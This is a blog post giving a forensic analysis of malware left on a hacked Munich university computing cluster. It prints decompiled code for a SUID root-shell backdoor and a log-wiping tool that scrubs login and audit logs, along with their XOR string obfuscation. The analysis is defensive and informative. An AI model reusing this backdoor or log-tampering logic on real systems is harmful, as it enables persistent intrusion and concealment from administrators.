High Performance Hackers

atdotde.blogspot.com/2020/05/high-performance-hackers.html

In the last few days, there was news that several big academic high performance computing centers had been hacked. Here in Munich, LRZ, the Leibniz Rechenzentrum was affected but apparently also computers at the LMU faculty of physics (there are a few clusters in the institute's basement). You could hear that it were Linux systems that were compromised and the attackers left files in /etc/fonts.

I could not resist and also looked for these files and indeed found those on one of the servers:

```
helling@hostname:~$ cd /etc/fonts/
helling@hostname:/etc/fonts$ ls -la
total 52
drwxr-xr-x   4 root root  4096 Apr  5  2018 .
drwxr-xr-x 140 root root 12288 May 14 10:07 ..
drwxr-xr-x   2 root root  4096 Aug 29  2019 conf.avail
drwxr-xr-x   2 root root  4096 Aug 29  2019 conf.d
-rwsr-sr-x   1 root root  6256 Apr  5  2018 .fonts
-rw-r--r--   1 root root  2582 Apr  5  2018 fonts.conf
-rwxr-xr-x   1 root root 15136 Apr  5  2018 .low
```

Uhoh, a dot-file with SUID root?!? I had an evening to spare so I could finally find out if I can use some of the forensic tools, that are around. As everybody know, the most important one is "strings". But neither strings .fonts nor strings .low revealed anything interesting about those programs. So we need some heavier lifting. I chose ghidra (thanks NSA for that) as my decompiler.

Let's look at .fonts (the suid one) first. It consists of one central function that I called runbash. Here is what I got after some renaming of symbols:

```
void runbash(void)

{
  char arguments [4];
  char command [9];
  int i;

  command[0] = 'N';
  command[1] = '\0';
  command[2] = '\n';
  command[3] = '\n';
  command[4] = 'J';
  command[5] = '\x04';
  command[6] = '\x06';
  command[7] = '\x1b';
  command[8] = '\x01';
  i = 0;
  while (i < 9) {
    command[i] = command[i] ^ (char)i + 0x61U;
    i = i + 1;
  }
  arguments[0] = '\x03';
  arguments[1] = '\x03';
  arguments[2] = '\x10';
  arguments[3] = '\f';
  i = 0;
  while (i < 4) {
    arguments[i] = arguments[i] ^ (char)i + 0x61U;
    i = i + 1;
  }
  setgid(0);
  setuid(0);
  execl(command,arguments,0);
  return;
}
```

There are two strings, command and arguments and first there is some xoring with a loop variable going on. I ran that as a separate C program and what it produces is that command ends up as "/bin/bash" and arguments as "bash". So, all this program does is it starts a root shell. And indeed it does (i tried it on the server, of course it has been removed since then).

The second program, .low, is a bit longer. It has a main function that mainly deals with command line options depending on which it calls one of three functions that I termed machmitfile(), machshitmitfile() and writezerosinfile() which all take a file name as argument and modify those files by removing lines or overwriting stuff with zeros or doing some other rewriting that I did not analyse in detail:

```
/* WARNING: Could not reconcile some variable overlaps */

ulong main(int argc, char ** argv)

{
  char * __s1;
  char * pcVar1;
  bool opbh;
  bool optw;
  bool optb;
  bool optl;
  bool optm;
  bool opts;
  bool opta;
  int numberarg;
  char uitistgleich[40];
  passwd * password;
  char * local_68;
  char opt;
  uint local_18;
  uint retval;
  char * filename;

  scramble( &UTMP, 0xd);
  scramble( &WTMP, 0xd);
  scramble( &BTMP, 0xd);
  scramble( &LASTLOG, 0x10);
  scramble( &MESSAGES, 0x11);
  scramble( &SECURE, 0xf);
  scramble( &WARN, 0xd);
  scramble( &DEBUG, 0xe);
  scramble( &AUDIT0, 0x18);
  scramble( &AUDIT1, 0x1a);
  scramble( &AUDIT2, 0x1a);
  scramble( &AUTHLOG, 0x11);
  scramble( &HISTORY, 0x1b);
  scramble( &AUTHPRIV, 0x11);
  scramble( &DEAMONLOG, 0x13);
  scramble( &SYSLOG, 0xf);
  scramble( &ACHTdPROZENTs, 7);
  scramble( &OPTOPTS, 0xb);
  scramble( &UIDISPROZD, 7);
  scramble( &ERRORARGSEXIT, 0x11);
  scramble( &ROOT, 4);
  filename = (char * ) 0x0;
  local_18 = 0;
  opbh = false;
  optw = false;
  optb = false;
  optl = false;
  optm = false;
  opts = false;
  opta = false;
  now = time((time_t * ) 0x0);
  while (_opt = getopt(argc, argv, & OPTOPTS), _opt != -1) {
```

```
    switch (_opt) {
    case 0x61:
      opta = true;
      break;
    case 0x62:
      optb = true;
      break;
    default:
      printmessage();
      /* WARNING: Subroutine does not return */
      exit(1);
    case 0x66:
      filename = optarg;
      break;
    case 0x68:
      opbh = true;
      break;
    case 0x6c:
      optl = true;
      break;
    case 0x6d:
      optm = true;
      break;
    case 0x73:
      opts = true;
      break;
    case 0x74:
      local_18 = 1;
      numberarg = atoi(optarg);
      if (numberarg != 0) {
        numberarg = atoi(optarg);
        now = (time_t) numberarg;
        if ((0 < now) && (now < 0x834)) {
          now = settime();
        }
      }
      break;
    case 0x77:
      optw = true;
    }
  }
  if (((((!opbh) && (!optw)) && (!optb)) && ((!optl && (!optm)))) && ((!opts &&
(!opta)))) {
    printmessage();
  }
  if (opbh) {
    if (argc <= optind + 1) {
      printmessage();
      /* WARNING: Subroutine does not return */
      exit(1);
    }
    if (filename == (char * ) 0x0) {
      filename = & UTMP;
    }
    retval = machmitfile(filename, argv[optind], argv[(long) optind + 1], (ulong)
```

```
local_18);
  } else {
    if (optw) {
      if (argc <= optind + 1) {
        printmessage();
        /* WARNING: Subroutine does not return */
        exit(1);
      }
      if (filename == (char * ) 0x0) {
        filename = & WTMP;
      }
      retval = machmitfile(filename, argv[optind], argv[(long) optind + 1], (ulong)
local_18);
    } else {
      if (optb) {
        if (argc <= optind + 1) {
          printmessage();
          /* WARNING: Subroutine does not return */
          exit(1);
        }
        if (filename == (char * ) 0x0) {
          filename = & BTMP;
        }
        retval = machmitfile(filename, argv[optind], argv[(long) optind + 1], (ulong)
local_18);
      } else {
        if (optl) {
          if (argc <= optind) {
            printmessage();
            /* WARNING: Subroutine does not return */
            exit(1);
          }
          if (filename == (char * ) 0x0) {
            filename = & LASTLOG;
          }
          retval = writezerosinfile(filename, argv[optind], argv[optind]);
        } else {
          if (optm) {
            if (argc <= optind + 3) {
              printmessage();
              /* WARNING: Subroutine does not return */
              exit(1);
            }
            if (filename == (char * ) 0x0) {
              filename = & LASTLOG;
            }
            retval = FUN_00401bb0(filename, argv[optind], argv[(long) optind + 1],
              argv[(long) optind + 2], argv[(long) optind + 3]);
          } else {
            if (opts) {
              if (argc <= optind) {
                printmessage();
                /* WARNING: Subroutine does not return */
                exit(1);
              }
```

```
              local_68 = argv[optind];
              if (filename == (char * ) 0x0) {
                printmessage();
              } else {
                retval = machshitmitfile(filename, local_68, (ulong) local_18,
local_68);
              }
            } else {
              if (opta) {
                if (argc <= optind + 1) {
                  printmessage();
                  /* WARNING: Subroutine does not return */
                  exit(1);
                }
                __s1 = argv[optind];
                pcVar1 = argv[(long) optind + 1];
                numberarg = strcmp(__s1, & ROOT);
                if (numberarg == 0) {
                  local_18 = 1;
                }
                machmitfile( & WTMP, __s1, pcVar1, (ulong) local_18);
                machmitfile( & UTMP, __s1, pcVar1, (ulong) local_18);
                machmitfile( & BTMP, __s1, pcVar1, (ulong) local_18);
                writezerosinfile( & LASTLOG, __s1, __s1);
                machshitmitfile( & MESSAGES, __s1, (ulong) local_18, __s1);
                machshitmitfile( & MESSAGES, pcVar1, (ulong) local_18, pcVar1);
                machshitmitfile( & SECURE, __s1, (ulong) local_18, __s1);
                machshitmitfile( & SECURE, pcVar1, (ulong) local_18, pcVar1);
                machshitmitfile( & AUTHPRIV, __s1, (ulong) local_18, __s1);
                machshitmitfile( & AUTHPRIV, pcVar1, (ulong) local_18, pcVar1);
                machshitmitfile( & DEAMONLOG, __s1, (ulong) local_18, __s1);
                machshitmitfile( & DEAMONLOG, pcVar1, (ulong) local_18, pcVar1);
                machshitmitfile( & SYSLOG, __s1, (ulong) local_18, __s1);
                machshitmitfile( & SYSLOG, pcVar1, (ulong) local_18, pcVar1);
                machshitmitfile( & WARN, __s1, (ulong) local_18, __s1);
                machshitmitfile( & WARN, pcVar1, (ulong) local_18, pcVar1);
                machshitmitfile( & DEBUG, __s1, (ulong) local_18, __s1);
                machshitmitfile( & DEBUG, pcVar1, (ulong) local_18, pcVar1);
                machshitmitfile( & AUDIT0, __s1, (ulong) local_18, __s1);
                machshitmitfile( & AUDIT0, pcVar1, (ulong) local_18, pcVar1);
                machshitmitfile( & AUDIT1, __s1, (ulong) local_18, __s1);
                machshitmitfile( & AUDIT1, pcVar1, (ulong) local_18, pcVar1);
                machshitmitfile( & AUDIT2, __s1, (ulong) local_18, __s1);
                machshitmitfile( & AUDIT2, pcVar1, (ulong) local_18, pcVar1);
                machshitmitfile( & AUTHLOG, __s1, (ulong) local_18, __s1);
                machshitmitfile( & AUTHLOG, pcVar1, (ulong) local_18, pcVar1);
                machshitmitfile( & HISTORY, __s1, (ulong) local_18, __s1);
                retval = machshitmitfile( & HISTORY, pcVar1, (ulong) local_18,
pcVar1);
                password = getpwnam(__s1);
                if (password != (passwd * ) 0x0) {
                  sprintf(uitistgleich, & UIDISPROZD, (ulong) password - > pw_uid);
                  machshitmitfile( & SECURE, uitistgleich, (ulong) local_18,
uitistgleich);
                  machshitmitfile( & AUDIT0, uitistgleich, (ulong) local_18,
```

```
uitistgleich);
                    machshitmitfile( & AUDIT1, uitistgleich, (ulong) local_18,
uitistgleich);
                    retval = machshitmitfile( & AUDIT2, uitistgleich, (ulong) local_18,
uitistgleich);
                  }
                }
              }
            }
          }
        }
      }
    }
  }
  return (ulong) retval;
}
```

But what are the file names? They sit in some memory locations pre-initialized at startup but remember, strings did not show anything interesting.
But before anything else, a function scramble() is called on them:

```
void scramble(char *p,int count)

{
  int m;
  int i;

  if (0 < count) {
    m = count * 0x8249;
    i = 0;
    while (m = (m + 0x39ef) % 0x52c7, i < count) {
      p[i] = (byte)m ^ p[i];
      m = m * 0x8249;
      i = i + 1;
    }
  }
  return;
}
```

As you can see, once more there is some xor-ing going on to hide the ascii filename. So, once more, I put the initial data as well as this function a in a separate C program and it produced:

```
603130: /var/run/utmp
60313e: /var/log/wtmp
60314c: /var/log/btmp
603160: /var/log/lastlog
603180: /var/log/messages
6031a0: /var/log/secure
6031b0: /var/log/warn
6031be: /var/log/debug
6031d0: /var/log/audit/audit.log
6031f0: /var/log/audit/audit.log.1
603210: /var/log/audit/audit.log.2
603230: /var/log/auth.log
603250: /var/log/ConsoleKit/history
603270: /var/log/authpriv
603290: /var/log/daemon.log
6032b0: /var/log/syslog
```

Ah, these are the log-files where you want to remove your traces.

This is how far my analysis goes. In case, you want to look at this yourself, I put everything (both binaries, the Ghidra file, my separate C program) in a tar-ball for you to download.

What all this does not show: How did the attackers get in in the first place (possibly by stealing some user's private keys on another compromised machine), how they did the privilege escalation to be able to produce a suid-root file and also, for how long they have been around. As you can see above, the files have a time stamp from over two years ago. But once you are root you can of course set this to whatever you want. But it's not clear why you wanted to back date your backdoor. I should stress that I am only a normal user on that server, so for example I don't have access to the backups to check if these files have really been around for that long.

Furthermore, the things I found are not very sophisticated. Yes, they prevented my to find out what's going on with strings by obfuscating their strings. But the rest was all so straight forward that even amateur like myself with a bit of decompiling could figure our what is going on. Plus leaving your backdoor as a suid program laying around in the file system in plain sight is not very secretive (but possibly enough to be undetected for more than two years). So unless these two files are not explicitly there to be found, the attacker will not be the most subtle one.

Which leaves the question about the attacker's motivation. Was it only for sports (bringing some thousand CPUs under control)? Was it for bitcoin mining (the most direct way to turn this advantage into material gain)? Or did they try to steal data/files etc?

If you have an account on one of the affected machines (in our case that would be anybody with a physics account at LMU as at least one affected machine had your home directory mounted) you should revoke all your secret keys that were stored there (GPG or ssh, in the latter case that means in particular delete them from .ssh/authorizedkeys and

.ssh/authorizedkeys2 *everywhere*, not just on the affected machines. And you should consider all data on those machines compromised (whatever that might have as consequences for you). If attackers had access to your ssh private keys, they could be as well on all machines that those allow to log into without entering further passwords/passphrases/OTPs.